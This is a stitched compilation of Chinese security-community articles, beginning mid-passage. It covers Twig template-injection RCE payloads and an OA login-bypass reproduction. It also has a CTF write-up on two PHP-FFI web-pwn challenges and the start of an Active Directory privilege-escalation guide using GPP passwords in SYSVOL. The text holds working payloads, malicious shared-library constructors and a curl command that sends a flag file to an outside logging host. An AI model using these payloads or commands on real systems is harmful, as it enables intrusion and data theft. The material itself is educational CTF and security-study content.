{{ fruit }}
{% endfor %}
// Output in this order: Oranges, Grapes, Apples
* 类似于 `map`，模板编译的过程中会进入 `twig_sort_filter` 函数，这个 `twig_sort_filter` 函数的源码如下：
function twig_sort_filter($array, $arrow = null)
{
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}
if (null !== $arrow) {
uasort($array, $arrow); // 直接被 uasort 调用
} else {
asort($array);
}
return $array;
}
* 从源码中可以看到，`$array` 和 `$arrow` 直接被 `uasort` 函数调用。众所周知 `uasort` 函数可以使用用户自定义的比较函数对数组中的元素按键值进行排序，如果我们自定义一个危险函数，将造成代码执行或命令执行：
php > $arr = ["id",0];
php > usort($arr,"system");
uid=0(root) gid=0(root) groups=0(root)
php >
* 知道了做这些我们便可以构造 Payload 了：
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}} // 无回显
#### filter:
* 这个 `filter` 过滤器使用箭头函数来过滤序列或映射中的元素。箭头函数用于接收序列或映射的值：
{% set lists = [34, 36, 38, 40, 42] %}
{{ lists|filter(v => v > 38)|join(', ') }}
// Output: 40, 42
* 类似于 `map`，模板编译的过程中会进入 `twig_array_filter` 函数，这个 `twig_array_filter` 函数的源码如下：
function twig_array_filter($array, $arrow)
{
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // $array 和 $arrow 直接被 array_filter 函数调用
}
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
* 从源码中可以看到，`$array` 和 `$arrow` 直接被 `array_filter` 函数调用。 `array_filter` 函数可以用回调函数过滤数组中的元素，如果我们自定义一个危险函数，将造成代码执行或命令执行：
php > $arr = ["id"];
php > array_filter($arr,"system");
uid=0(root) gid=0(root) groups=0(root)
php >
#### reduce：
这个
`reduce`filter使用arrow函数迭代地将序列或映射缩减为单个值，从而将其缩减为单个值。arrow函数接收上一次迭代的返回值和序列或映射的当前值：
{% set numbers = [1, 2, 3] %}
{{ numbers|reduce((carry, v) => carry + v) }}
{# output 6 #}
这个 `reduce`过滤器需要 `initial`值作为第二个参数：
{{ numbers|reduce((carry, v) => carry + v, 10) }}
{# output 16 #}
注意arrow函数可以访问当前上下文。
function twig_array_reduce($array, $arrow, $initial = null)
{
if (!\is_array($array)) {
$array = iterator_to_array($array);
}
return array_reduce($array, $arrow, $initial);
// $array, $arrow 和 $initial 直接被 array_reduce 函数调用
}
可以看到`array_reduce`是有三个参数的:`$array`和 `$arrow`直接被
`array_filter`函数调用，我们可以利用该性质自定义一个危险函数从而达到rce
payload:
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 无回显
参考文章：
<http://www.milan100.com/article/show/1547>
<https://freebuf.com/articles/web/314028.html>
<https://xz.aliyun.com/t/7518#toc-5>
<https://ppfocus.com/0/te3772380.html> | 社区文章 |
1. 复现环境
服务器window2008 软件版本11.3
11.3版本下载地址：
链接：<https://pan.baidu.com/s/1QFAoLxj9pD1bnnq3f4I8lg>
提取码：ousi
1. 漏洞分析
通过官网发布的补丁对比确认新版本修改了如下文件：
在logincheck_code.php文件中
代码第28行，变量UID为攻击者可控，攻击者可改变UID参数，从而控制该SQL语句返回USER表中指定uid参数的用户信息。
在172行对用户信息进行session赋值，攻击者只需绕过代码中的redis验证，便可通过伪造参数来达到登录任意用户的目的。
在第12行随机生成了一串codeuid，然后在第35行通过set_cache方法将该标识id插入到redis缓存中，最后在第37行将codeuid进行了输出。
1. 本地复现
一 首先访问
<http://192.168.1.113/general/login_code.php>
获取到 code_uid
二 再访问
<http://192.168.1.113/logincheck_code.php>
用post请求提交code_uid 参数进行伪造
获取到PHPSESSID参数
三 最后访问登入后页面
<http://192.168.1.113/general/index.php>
把cookie改成伪造的参数即可登入成功 | 社区文章 |
# 从国赛决赛的webpwn到Delctf的webpwn学习之旅
## 0x0 前言
之前就想着搞一下pwn的，但是都只是断断续续看了一些汇编还有基础的栈溢出，没有进行系统的学习，想到自己也快大三了，大学生涯也快接近尾声了，加上这次国赛让我认识到自己有多菜(bulid
it and
攻防环节都感受到了跟各位师傅的巨大差距)，也让我明白了要想挤进一等奖的话pwn能起到很关键的作用。很开心这次在做web题能遇到[@impakho ]()
师傅的两道web
pwn，虽然没能做出来，但是后面复现的时候学习到了很多东西，也感受到了pwn的魅力，坚定了我想成为一名pwn选手和逆向选手的决心(ps.希望有pwn圈子或者pwn交流群的师傅能收留我，最好是热衷于ctf比赛的,
然后带带我)
> 我的联系方式QQ:MTU0MzgwODA4 <=> (26+26+10+2)
> 备注: xz # 这样我就知道了，thanks
> 欢迎跟我一样菜的pwn萌新来找我一起学习。
## 0x1 题目介绍
国赛2019决赛Web1 - 滑稽云音乐 [题目环境及其WP
githud地址](https://github.com/impakho/ciscn2019_final_web1)
我就按照当时国赛给出的环境演示下我的解题思路
国赛当时给出了不完整的源码，主要是网站的脚本代码。
De1ctf 2019 de1ctf web cloudmusic_rev - 滑稽云音乐2.0
[题目环境及其wp地址](https://github.com/impakho/de1ctf_cloudmusic_rev)
基于国赛的题目做了一些改动如下:
## 0x2 配置Docker环境
### 0x2.1 配置ciscn题目环境
`git clone https://github.com/impakho/ciscn2019_final_web1.git`
`docker build -t ciscn_web_pwn .`
`docker run -p 8187:80 ciscn_web_pwn`
### 0x2.2 配置de1ctf题目环境
`git clone https://github.com/impakho/de1ctf_cloudmusic_rev.git`
`docker build -t de1ctf_web_pwn .`
`docker run -p 8188:80 de1ctf_web_pwn`
## 0x3 正文解题过程
### 0x3.1 ciscn 滑稽云音乐
这个题目步骤并不繁琐，但是考点很新颖，是我见过最好的与pwn结合的题目，这个pwn还是挺基础的，不像之前那个php写一个栈溢出的题目，对新手不是很友好，让我们一起来学习[@impakho
]() 师傅出的好题目吧。
(ps.这道题目国赛好像是0解。。。。。。。。。。。但是的确是个好题目。。。而且难度很合适)
当时我好像是花了差不多20分钟通读了一次，代码量并不多，主要是include文件夹还有就是media那个`share.php`文件很扎眼,这里我提取下重要的文件出来分析下。
首先当时我也是不知道考点是啥，但是我看到有个验证码需要写下脚本，那么我就先跑去看了下注册文件
这里可以看到对`$username $password $code`做了长度限制,验证码的话,直接改下我们常用的脚本
#!/usr/bin/python
# -*- coding:utf-8 -*-
import random
from hashlib import md5
def get_plain(cipher, code, end = 5, length = 8):
characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'''
characters_ = list(characters)
while True:
plain = str(''.join(random.sample(characters_, length)))
if md5(plain+code).hexdigest()[:end] == cipher:
break
return plain
print(get_plain('2495d', 'tDjpSafn'))
注册了一个 `admin321 admin321`的账号,然后我就继续读下登陆之后会有什么功能
我当时比较好奇的是,因为是加载的sqlite文件，所以我当时就分析一波,看下能获得管理员密码不
可以看到文件是运行的时候去生成然后加载的，所以源码是得不到密码的。
然后我就先登陆进去,看下有啥功能然后再去读对应的代码,很好有个上传的功能。
直接跟进代码看看 `include/upload.php`
<?php
if (!isset($_SESSION['user'])||strlen($_SESSION['user'])<=0){
ob_end_clean();
header('Location: /hotload.php?page=login&err=1');
die();
}
// 上面做了下用户的验证
include 'NoSQLite/NoSQLite.php';
include 'NoSQLite/Store.php';
function clean_string($str){
$str=substr($str,0,1024);//限制了1m大小
return str_replace("\x00","",$str); //过滤\x00
}
if (isset($_FILES["file_data"])){ //开始文件上传
if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传出错，音乐文件最大支持 1MB。')));
}else{
$music_filename=__DIR__."/../uploads/music/".md5($_GLOBALS['salt'].$_SESSION['user']).".mp3";
if (time()-$_SESSION['timestamp']<3){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'操作太快了，请稍后再上传。')));
}
$_SESSION['timestamp']=time();
move_uploaded_file($_FILES["file_data"]["tmp_name"], $music_filename);
//上传没有什么限制
$handle = fopen($music_filename, "rb");
//这里打开了上传的文件
if ($handle==FALSE){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传失败，未知原因。')));
}
$flags = fread($handle, 3);
//读取前3个字节
fclose($handle);
if ($flags!=="ID3"){
//mp3文件的判断
unlink($music_filename);
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传失败，不是有效的 MP3 文件。')));
}
try{
//这里是重点进行了FFI调用,我们提取这个关键代码出来分析下
$parser = FFI::cdef("
struct Frame{
int size;
char * data;
};
struct Frame * parse(char * password, char * classname, char * filename);
", __DIR__ ."/../lib/parser.so");
$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
if ($result->size>0x130) $result->size=0x130;
$mp3_title=(string) FFI::string($result->data,$result->size);
if (substr($mp3_title,0,2)=="\xFF\xFE"){
@$mp3_title_conv=iconv("unicode","utf-8",$mp3_title);
if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv;
}
$mp3_title=base64_encode(clean_string($mp3_title));
$result=$parser->parse($_GLOBALS['admin_password'],"artist",$music_filename);
if ($result->size>0x130) $result->size=0x130;
$mp3_artist=(string) FFI::string($result->data,$result->size);
if (substr($mp3_artist,0,2)=="\xFF\xFE"){
@$mp3_artist_conv=iconv("unicode","utf-8",$mp3_artist);
if ($mp3_artist_conv!==FALSE) $mp3_artist=$mp3_artist_conv;
}
$mp3_artist=base64_encode(clean_string($mp3_artist));
$result=$parser->parse($_GLOBALS['admin_password'],"album",$music_filename);
if ($result->size>0x130) $result->size=0x130;
$mp3_album=(string) FFI::string($result->data,$result->size);
if (substr($mp3_album,0,2)=="\xFF\xFE"){
@$mp3_album_conv=iconv("unicode","utf-8",$mp3_album);
if ($mp3_album_conv!==FALSE) $mp3_album=$mp3_album_conv;
}
$mp3_album=base64_encode(clean_string($mp3_album));
$song=array($mp3_title,$mp3_artist,$mp3_album);
$nsql=new NoSQLite\NoSQLite($_GLOBALS['dbfile']);
$music=$nsql->getStore('music');
$res=$music->get($_SESSION['user']);
if ($res===null||strlen((string)$res)<=0){
$res=array();
}else{
$res=json_decode($res,TRUE);
}
array_push($res,$song);
$res=json_encode($res);
$music->set($_SESSION['user'],$res);
ob_end_clean();
die(json_encode(array('status'=>1,'info'=>'上传成功！','title'=>$mp3_title,'artist'=>$mp3_artist,'album'=>$mp3_album)));
}catch(Error $e){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传失败，不是有效的 MP3 文件。')));
}
}
}else{
if (isset($_SERVER['CONTENT_TYPE'])){
if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传出错，音乐文件最大支持 1MB。')));
}
}
}
?>
我们上面知道了,我们只要构造一个前三个字节为`ID3`就可以上传了,所以我们看提取出来的重点代码
首先
$parser = FFI::cdef("
struct Frame{
int size;
char * data;
};
struct Frame * parse(char * password, char * classname, char * filename);
", __DIR__ ."/../lib/parser.so");
//这里大概的意思是 把c语言的Frame结构体传递给了$parser变量
这里用到了php7(php> 7.40)的一个用法,之前rctf也出了一个相关的题目，所以我比较熟悉这个。
根据文档我们可以得知,第一个参数起到就是c语言的类似于头文件的声明的东西,然后第二个参数就是shared library file
$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
//这里调用FFI object的$parser去调用/lib/parser.so 共享链接库的parse函数,我们可以发现它传入了三个参数
// struct Frame * parse(char * password, char * classname, char * filename);
// 第一个是admin_password 第二个是title 第三个是我们传入的文件
if ($result->size>0x130) $result->size=0x130;
// 这里取回函数执行的结果,限制了$result->size的大小最多为0x130
$mp3_title=(string) FFI::string($result->data,$result->size);
// 这里调用了string函数去获取解析了我们mp3文件的歌曲名
if (substr($mp3_title,0,2)=="\xFF\xFE"){
@$mp3_title_conv=iconv("unicode","utf-8",$mp3_title);
if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv;
}
$mp3_title=base64_encode(clean_string($mp3_title));
......................................
die(json_encode(array('status'=>1,'info'=>'上传成功！','title'=>$mp3_title,'artist'=>$mp3_artist,'album'=>$mp3_album))); //这里把$mp3_title输出到了前端。
}catch(Error $e){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传失败，不是有效的 MP3 文件。')));
}
由于自己对于溢出泄漏数据不是很理解，一开始也没发现有啥问题，后面出了提示，提示了`size`那个点存在溢出。所以我当时就锁定了这里，但是我找了一圈没有找到parsers.so文件在哪里，源码没有给,当时卡了一会，后面我想起来了，`share.php`我一开始就发现是个文件读取漏洞了，但是我当时以为是出题人留的后门啥的，想着直接读flag但是发现读不了，觉得应该是做了权限的限制，只能读网站目录下的文件，当时我就觉得
`__DIR__ ."/../lib/parser.so`
这个东西拼接了`__DIR__`很明显就是在网站目录下嘛,一下子就把`share.php`文件想起来了,我们来看看。
`ciscn2019_final_web1/source/media/share.php`
<?php
# For sharing files in /media directory, do not delete, you can modify
# 分享功能，用来分享/media文件夹下的文件。不可删除，可以按需修改。
ini_set('display_errors','Off');
error_reporting(0);
header('Content-Type: application/octet-stream'); //这里设置了是流类型
$filepath=base64_decode($_SERVER['QUERY_STRING']);
//这里很简单直接取了$_SERVER['QUERY_STRING'] 然后base64解码
if (strlen($filepath)<=0) exit();
$file=fopen($filepath,"rb");
if ($file==FALSE) exit();
ob_clean();
while(!feof($file))
{
print(fread($file,1024*8)); //直接读取8m,然后print输出,其实就是把内容读入到了输出流
ob_flush();
flush();
}
所以我们可以构造下链接,然后直接访问就可以把`parser.so`文件给下载下来。
`http://127.0.0.1:8187/media/share.php?../lib/parser.so` 然后base64一下
`http://127.0.0.1:8187/media/share.php?Li4vbGliL3BhcnNlci5zbw==`
记住要在浏览器打开下载回来,要不然容易损坏文件,我当时测试wget不行，但是我复现可以，迷。。。。
然后我们修改下后缀为elf,然后打开ida进行分析一下。
`file`查看下,确定是64位程序
首先补充下一些概念
> ELF， Executable and Linking Format，是一种用于可执行文件、目标文件、共享库、和核心转储的标准文件格式。
> ELF有四种不同的类型:
> 1.可重定位文件(Relocatable): 编译器和汇编器产生的.o文件
> 2.可执行文件(Executable)：Have all relocation done and all symbol resolved except
> perhaps shared libray symbols that must be resolved at run time
> 3.共享对象文件(Shared Object): 动态库文件(.so)
> 4.核心转储文件(Core File)
> 所以说其实那个parser.so就是作为一个共享库的存在,我们也可以直接看file结果可以看出来
> 这个parser.so是一个标准的64位动态库文件,所以我们采取64位的ida进行打开。
我们直接在右边按下`p`去找parser函数去读下
汇编其实也很好读,伪代码更直接，不过ida定义了很多自定义的数据类型，所以我们可以去了解下`ida def.h`,能帮助我们更好的读懂程
这里补充下ida一些小知识 我比较常用的小功能是:
> F5: 反编译出c语言的伪代码,这个基本是我这种菜鸡特别喜欢用的。
> 空格: IDA VIEW 窗口中 文本视图与图形视图的切换, 好看。直观，哈哈哈
> shift + f12:查找字符串 逆向的时候能快速定位
> n: 重命名 整理下程序的命名，能理清楚逻辑
> x: 查看交叉引用
我们可以分析下这段ARM汇编风格的汇编程序
首先是 `public parse` 定义子模块
`parese proc near` 代表子程序的开始
`parse enp` 代表子程序结束
`; __unwind{ main proc};` 里面的代码就是函数实现的主要汇编代码
因为后面差不多，我们直接分析下开头和读取titie的汇编代码
看不懂先了解下小知识(后面我会写一个真正的小白逆向入门系列之汇编理论到实践篇)
> 我学汇编看的是王爽写的<<汇编语言>> 第三版
> 然后书本用的案例是Intel 8086 cpu
> 然后8086是16位cpu,有14个寄存器(16位,可以存放两个字节): AX BX CX DX | SI DI SP BP IP CS SS DS
> ES PSW
> 32位的对应就是: eax ebx ........
> 64位就是: rax rbx rcx .........
> 还有其他细节指令也变了,但是大体上差不多的,到时候我会在下一篇文章进行对比分析下。
> 内存是字节单元(一个单元存放一个字节,一个字节8位)
> 字单元: 由两个地址连续的内存单元组成，存放一个字型数据的内存单元。
> 其实读懂这段代码非常简单,就是一个函数调用, 压栈的过程
> 栈顶在内存中是高地址向低地址增长的
> 然后就是常说的一些函数约定:
> 参数少于7个时，参数从左到右放入到寄存器中: rdi rsi rdx rcx r8 r9
> 当参数7个以上时，前六个不变，但后面的依次从右往左放入栈中。
.text:0000000000002983 var_18 = qword ptr -18h
.text:0000000000002983 s1 = qword ptr -10h
.text:0000000000002983 var_8 = qword ptr -8
.text:0000000000002983
.text:0000000000002983 ; __unwind {
.text:0000000000002983 push rbp
.text:0000000000002984 mov rbp, rsp
.text:0000000000002987 sub rsp, 20h
.text:000000000000298B mov [rbp+var_8], rdi
.text:000000000000298F mov [rbp+s1], rsi
.text:0000000000002993 mov [rbp+var_18], rdx;传入参数 _int64 8字节
.text:0000000000002997 mov eax, 0
.text:000000000000299C call _init_proc ;这里调用__init_proc函数
.text:00000000000029A1 mov rax, [rbp+var_8]
.text:00000000000029A5 mov rdi, rax
.text:00000000000029A8 call _check_password
.text:00000000000029AD cmp eax, 1 //结果比较
.text:00000000000029B0 jnz short loc_2A1F //if判断
.text:00000000000029B2 mov rax, [rbp+s1]
.text:00000000000029B6 lea rsi, aTitle ; "title"
.text:00000000000029BD mov rdi, rax ; s1
.text:00000000000029C0 call _strcmp
.text:00000000000029C5 test eax, eax
.text:00000000000029C7 jnz short loc_29D7
.text:00000000000029C9 mov rax, [rbp+var_18]
.text:00000000000029CD mov rdi, rax
.text:00000000000029D0 call _read_title
.text:00000000000029D5 jmp short loc_2A1F
对应的伪代码:
我们跟进下`init_proc()`初始化函数
这里我们可以看到 这个反汇编的结果不是很正确，还是看汇编比较好。
其实这里`frame_data`是一个指向`_frame_data`的指针。
然后就是把参数传入`_memset`函数啦,
`rdi`寄存器存放参数值就是`frame_data`指针的,然后`edx`存放大小,`esi`存放初始化的值。
上面那个汇编对应的就是:
`memset(&frame_data, 0, 0x100uLL);`
其实真实源码是这样的
理解了这个，我们就可以继续分析这个漏洞了。
当时我以为`check_password`会硬编码在程序里(但是前面我们知道它是随机生成然后写入文件的)呢，这样就是一道简单的逆向题,我还是太天真了
所以最后我还是乖乖的根据提示去找`size`溢出点了。
我们跟进下`read_title`这个函数看看
这个我个人不是很建议去跟,程序不是很好读，我们不如直接搜索mp3结构，来了解下判断原理
我们结合@impakho师傅的脚本来看下构造是对应上面结构,其实你直接看源文件也可以发现构造规则。
def upload_music():
url = site_url + '/hotload.php?page=upload'
data = {'file_id': '0'}
music = preset_music[:0x6] + '\x00\x00\x03\x00' + preset_music[0x0a:0x53]
music += '\x00\x00\x03\x00' + '\x00\x00\x03' + 'a' * 0x300 + '\x00'
files = {'file_data': music}
if logging: print(url)
if logging: print(data)
# res = post(1, url, data, files)
if logging: print(res.text)
if '"status":1' in res.text:
try:
return b64decode(json.loads(res.content.strip())['artist'])[-16:]
except:
return ''
return ''
我们生成一个文件来看看
然后按照上面的文件结构,我们就知道构造原理了
这里要对应好大小，要不然解析读取的时候可能会出错了,导致不成功。
我们把生成的文件上传试试看
至于为什么会这样？ 其实这个就是这个题目pwn的考点。
`$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);`
这段php代码就会根据结构体的定义接收到了`return result` and `return frame_size`
然后就会通过ffi的自定义函数去读取数据
通过文档我们可以如果size参数省略那么,那么就会根据`\0`去结束。
也就是这个函数的逻辑应该是优先根据结束符，次之是根据size参数来读取字符串长度的(想想代码是如何实现上面size效果就可以猜到了，不信的话可以直接撸一下ffi扩展string函数源码,欢迎师傅和我交流下这里)
if ($result->size>0x130) $result->size=0x130;
$mp3_artist=(string) FFI::string($result->data,$result->size);
你们看到这里有什么不对了吗？
首先`$result-data ->`对应的是 `frame_data`
,然后`frame_data`指向的`__frame_data`数组只有0x100的大小,
但是这里竟然可以读取最多是0x130 多了0x30可以读取,这会导致什么问题呢,很显然的话就会数组越界从而读取到下一个地址的数据。
那么具体成因是啥呢？ 我们继续分析下代码
(unsigned __int8)(((unsigned __int64)frame_size[0] >> 56) + LOBYTE(frame_size[0]))
- ((unsigned int)(frame_size[0] >> 31) >> 24)
上面这个memcpy的第三个参数很有意思,看下汇编
> 一些汇编小知识:
> sub ax,bx <=> ax -bx
> add ax,bx <=> ax = ax + bx
我当时问了下其他师傅具体怎么算的，这个是gcc优化导致的,我们可以自己写一段代码来调试就知道了。
所以那句话其实就是`eax%256` 256=>0x100
这个程序的源代码是这样的,gcc优化后的确挺难理解的，后面我会针对这个问题，研究下。
这样你想想会导致什么问题。
我先看下.bss段中变量存放的地址
>
> _BSS段_通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的，在程序执行之前_BSS段_会自动清0。，但是地址偏移是不变。
然后 `0x93c0 - 0x92c0= 0x100` ,`password`长度<`0x30` 这样就可以泄漏出密码了。
这里我直接给你们看两个程序就明白了
然而后面我跟了下`.so`的源代码然后和@impakho师傅聊了下,发现拼接的字符串根本没有`\0`,所以这道题目
只需要伪造size是个比较大的值就可以了,原因看下下面这个程序就懂了。
然后我们愉快的获取到了管理员密码,然后我们就需要去看看需要管理员操作的地方有没有什么getshell的点。
`include/firmware.php`
很直接，我们跟进看看
可以看到这里主要限制了文件大小，限制了elf文件头，然后生成的文件名是利用随机数拼接`username`(如果上传比较快的话,这个可以直接得到的)
不用像原作者那么复杂,调用python的类。
所以说我们可以构造一个任意指令的elf文件然后传入路径给ffi去加载,我们可以控制指令读取flag的值然后赋值给
`* version` 就行了。
这样我们相当于可以执行命令，但是我们没办法`cat /flag` 因为`/flag`权限是`600`
所以我们需要利用suid的程序进行读取/flag,脚本如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char _version[0x500];
char * version = &_version;
__attribute((constructor)) void fun(){
memset(version, 0 ,0x500);
FILE * fp = popen("find / -user root -perm -4000", "r");
if (fp==NULL) return;
fread(version, 1 , 0x500,fp);
pclose(fp);
}
我们也可以直接执行system然后写入目录里面。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char _version[0x130];
char * version = &_version;
__attribute((constructor)) void fun(){
memset(version, 0 ,0x130);ls
strcpy(version, "v2.0");
system("find / -user root -perm -4000 > /var/www/html/uploads/firmware/res.txt");
}
gcc编译命令share object:
`gcc -shared -fPIC -o web1.so web1.c`
然后我们上传这个文件就行了。
这里需要注意下本地的php版本要大于7因为，php7修复了随机数生成的一些缺陷，导致与php7一下生成的值不一样。
// exp.php
<?php
mt_srand(time());
echo time()." | ";
echo md5(mt_rand().'admin')."\n";
#!/usr/bin/pyhton
# -*- coding:utf-8 -*- import requests
import os
cookie = {
"PHPSESSID":"dgs7mi8558jubi3nrqrtht929a
}
file = {
"file_data":open("web1.so","rb")
}
data = {
"file_id":0
}
os.system("php exp.php")
resp = requests.post("http://222.85.25.41:9090/hotload.php?page=firmware",data=data,files=file,cookies=cookie)
os.system("php exp.php")
print resp.text
py跑起来
从返回结果看，我们可以很明显看到一个可以读取文件的命令tac
然后稍微改下命令就可以get flag了
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char _version[0x500];
char * version = &_version;
__attribute((constructor)) void fun(){
memset(version, 0 ,0x500);
FILE * fp = popen("/usr/bin/tac /flag", "r");
if (fp==NULL) return;
fread(version, 1 , 0x500,fp);
pclose(fp);
}
### 0x3.2 cloudmusic_rev - 滑稽云音乐2.0
代码主体还是国赛的题目源码，所以我们做这道题目可以白盒+黑盒来做。
首先先黑盒搞出那个文件读取，后面就是白盒操作了。
#### 0x3.2.1 文件读取
这个考点的确是有依据的，因为`$_SERVER['QUERY_STRING']`不会对字符串解码，但是浏览器会自动编码，所以通常写代码的时候就会`urldecode`,如果写错了过滤与解码的顺序，就会导致出现漏洞。
所以说我们把上面那个payloas urlencode一下再base64一下就能获取代码了。
#### 0x3.2.2 off by null
参照国赛的题目，我们读取3个文件的代码就行了，关于验证码很简单这里就不叙述了。
直接上脚本
#!/usr/bin/python
# -*- coding:utf-8 -*-
import random
from hashlib import md5
def get_plain(cipher, code, end = 5, length = 8):
characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'''
characters_ = list(characters)
while True:
plain = str(''.join(random.sample(characters_, length)))
if md5(plain+code).hexdigest()[:end] == cipher:
break
return plain
print(get_plain('852619', '3ECBACGv', 6))
然后我们读下 `upload.php` `firmware.php` `parser.so`
你会发现`data`写在了`size`的上面了，然后限制了大小修改为了`0x70`
然后`firmware.php`去掉了回显，但是我们可以通过写入uploa文件夹，脚本如下
#include <stdio.h>
#include <string.h>
char _version[0x130];
char * version = &_version;
__attribute__ ((constructor)) void fun(){
memset(version,0,0x130);
FILE * fp=popen("/usr/bin/tac /flag > /var/www/html/uploads/firmware/wulasite.txt", "r");
if (fp==NULL) return;
fread(version, 1, 0x100, fp);
pclose(fp);
}
外带数据的话,so文件代码如下:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char _version[0x130];
char *version = &_version;
__attribute ((constructor)) void shell(){
strcpy(version, "cloudmusic_rev");
// excute command
const char *command = "curl -v --data-urlencode flag=`/usr/bin/tac /flag` 3bqxxx.ceye.io";
system(command);
}
下面让我们重点分析那个pwn点吧，打开ida进行分析
我们可以看到相对国赛的改动
限制了内容长度最大是`0x70`
这里用strlen来判断是存在问题的，因为`strlen`是不会把`\0` 去计算进去的。那么是怎么实现攻击 off by null攻击的呢。
其实就是修改了`mem_mframe_data`的地址为 存放密码的`mem_passwd`
这里为什么用国赛的思路不行呢，这里我简单说说
> 1.首先是限制了0x70
>
> 1.
>
>
>
def upload_music():
music = preset_music[:0x6] + '\x00\x00\x03\x00' + preset_music[0x0a:0x53]
music += '\x00\x00\x03\x00' + '\x00\x00\x03' + 'a' * 0x70 + '\x00'
with open('web2.mp3', 'wb') as f:
f.write(music)
当我们上传这个内容是0x70长度的mp3上去时
首先`mem_mframe_data`数组大小是`0x70`
这里发生了溢出，溢出了`\0`,strcpy本来返回的是 `mem_mframe_data`地址值，但是由于溢出了，直接修改了ebp的低位，从而
这样就实现了修改地址，从而string函数读取的时候就跑去读密码的地址了。
不懂可以看下这个文章: [ Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞
(基于栈))](https://www.cnblogs.com/momoli/p/10865324.html)
## 0x4 感激
很感谢三叶草的@0xC4m3l师傅，还有@impakho、@湖大QQ星师傅耐心解答我的问题，让我学习到了很多大师傅们的姿势，一想到从最开始高三暑假三叶草@流星师傅带我入门ctf，到现在都过去了2年了，现在自己的水平打比赛还是很吃力，吹爆三叶草的各位师傅，希望自己能加把劲跟上师傅们的步伐，不辜负流星师傅一直以来对我的耐心指导。
## 0x5 总结
这两个题目很有意思的，让人感觉pwn与web结合起来是多么美妙的事情，同时我感觉到了pwn真的是很有意思的东西，就是感觉有种geek的感觉，这是让我感觉跟web差别很大，很有意思的东西。还有就是自己需要多写汇编，重新巩固c语言基础，然后ida反编译去学习gcc优化代码与源代码的差异。最后小小吐槽下这个题目，这个题目考点不是很难，难的是比较新颖，如何构造一个满足的mp3文件，在国赛那种断网环境，真的不容易。
## 0x6 参考链接
[De1CTF2019 官方Writeup(Web/Misc) -- De1ta ](https://xz.aliyun.com/t/5945)
[MP3文件结构解析](https://blog.csdn.net/u010650845/article/details/53520426)
[ELF是什么？](https://www.jianshu.com/p/7eb03c7230fd)
[IDA Pro: def.h](https://blog.csdn.net/rzwinters/article/details/79267376)
[IDA-数据显示窗口（反汇编窗口、函数窗口、十六进制窗口）](https://blog.csdn.net/tabactivity/article/details/78492371)
[64位和32位的寄存器和汇编的比较](https://blog.csdn.net/qq_29343201/article/details/51278798)
[X64的函数调用规则](http://blog.sina.com.cn/s/blog_6f6769b50100uhzz.html)
[**attribute** 机制使用](https://www.jianshu.com/p/e2dfccc32c80) | 社区文章 |
# 从活动目录获取域管理员权限的各种姿势
|
##### 译文声明
本文是翻译文章，文章来源：wooyun
原文地址：<http://drops.wooyun.org/tips/12021>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 前言**
* * *
对于一个攻击者来说,有很多方法能在活动目录中获得域管理员权限。这篇文章旨在介绍一些当下比较流行的方法,这里介绍的方法都基于一个前提——攻击者已经获得内网中一台(或几台)机器的权限并且获得了普通域用户的账户。
**0x01 SYSVOL中的密码和组策略**
* * *
这种方法是最简单的,因为不需要特殊的工具就能实现。攻击者只需要打开文件管理器搜索 SYSVOL DFS
共享中的XML文件。大多数时候,groups.xml、scheduledtasks.xml、Services.xml文件中都会含有用户凭证。
SYSVOL 是活动目录中的全域共享文件夹,所有认证用户都拥有读权限。SYSVOL
中包含了登陆脚本,组策略以及其他域控制器需要需要用到的数据(因为SYSVOL会在所有域控之间自动同步和共享)。所有的组策略文件会存放在:\<DOMAIN>SYSVOL<DOMAIN>Policies
当一个GPP(组策略)被新建,就会有相关的组策略文件在SYSVOL中被创建,如果提供了密码,组策略文件中会同时包含AES-256位的加密后的密码数据,这加密似乎是足够安全了。
除了Windows
2012之前的某些系统,微软在MSDN中提供了[解密所需要的AES私钥](http://drops.wooyun.org/)。因为认证用户(信任域中的用户)都具有SYSVOL的读权限,任何人都可以搜索包含“cpassword”字段的XML文件,而里面正好有AES加密后的密码。
有了这类XML的访问权限,攻击者可以用AES私钥解密GPP密码。PowerSploit的Get-GPPPassword函数被认为最好用的攻击实现,下面的截图展示了一个类似的PowerShell函数正在解密在SYSVOL中找到的XML文件中包含的密码。
其他文件类型,例如.vbs和.bat也可能包含嵌入的密码(经常是明文)。
